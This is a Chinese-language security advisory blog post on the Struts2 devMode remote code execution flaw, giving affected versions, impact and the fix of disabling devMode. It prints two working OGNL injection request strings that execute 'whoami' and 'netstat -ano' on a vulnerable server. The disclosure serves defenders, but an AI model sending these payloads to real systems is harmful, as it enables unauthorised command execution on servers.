Braid信息安全博客 - Web安全|代码审计|安全开发|Java|php|python

【漏洞告警】 Struts2 devMode导致远程代码执行漏洞

0x01 影响范围

当Struts开启devMode时,该漏洞将影响Struts 2.1.0–2.5.1,通杀Struts2所有版本。

0x02 漏洞描述

当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。但先前官方就已经告知用户,需要在网站正式上线前将devMode关闭,所以相关devMode模式下的漏洞提交已不再获得官方确认。

0x03 漏洞证明

本地搭建了个测试环境,获取当前系统账户的POC如下:

?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=devModeTest&command=whoami


获取当前主机连接信息的POC如下:

?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=devModeTest&command=netstat -ano

0x04 修复方案

关闭devMode:在struts.xml 设置

<constant name="struts.devMode" value="false" />

本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/strutsdevmode.html,如需转载请联系作者。